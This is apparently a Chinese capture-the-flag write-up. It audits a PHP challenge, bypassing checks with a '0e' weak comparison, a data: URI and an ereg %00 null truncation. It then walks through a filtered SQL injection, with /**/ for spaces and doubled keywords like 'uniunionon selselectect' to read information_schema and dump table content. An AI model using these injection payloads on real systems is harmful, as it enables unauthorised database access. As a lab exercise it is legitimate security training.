打开题目网址是空白的,f12看到index.phps,
得到源代码
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) # 查找.在a变量出现的位置
{
echo 'Hahahahahaha';
return ;
}
#id==0,典型的弱类型比较,id=0e,即可绕过
#b变量要求大于5,因为ereg()函数存在NULL截断漏洞,导致正则过滤被绕过,所以可以用%00来截断正则匹配,第二个条件长度strlen函数对%00不截断但substr截断),且长度要大于等于5,那么可以令 b=%00555555,
#a变量,由data进行赋值: $data = @file_get_contents($a,'r') 而又有 $data=="1112 is a nice lab!" 可以利用远程文件包含在 allow_url_include开启时可以使用,但发现对 $a有了 .过滤所以还是data协议比较稳妥 ,令a=data;,1112 is a nice lab!
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
代码审计注释在了代码里,构造payload:
id=0e&a=data:,1112 is a nice lab!&b=%0055555
得到/^HT2mCpcvOLf。经过摸索发现是一个目录,访问后自动补全
单引号发现sql语句应该sql注入,测试后发现确实存在注入且过滤了空格,括号,等
注入过程,空格用/**/代替
?id=1/*1*/and/*1*/1/*1*/=/*1*/1 --显示正常
?id=1/*1*/and/*1*/1/*1*/=/*1*/2 --显示错误
确定存在注入
爆字段,
?id=1/*1*/order/*1*/by/*1*/1 --显示正常
?id=1/*1*/order/*1*/by/*1*/2 --显示正常
?id=1/*1*/order/*1*/by/*1*/3 --显示正常,
?id=1/*1*/order/*1*/by/*1*/4 --显示错误,字段数为3
得到字段查询数据库,test
id=-1/*1*/uniunionon/*1*/selselectect/*1*/1,2,(database())%23
查询表
-1/*1*/uniunionon/*1*/selselectect/*1*/1,2,(selselectect/*1*/group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database())%23
得到表名content
查列名
-1/*1*/uniunionon/*1*/selselectect/*1*/1,2,(selselectect/*1*/group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74)%23
得到列名
读取这个可以的context,
payload
-1/*1*/ununionion/*1*/seselectlect/*1*/1,2,(selselectect/*1*/group_concat(context)/*2*/frfromom/*1*/content)%23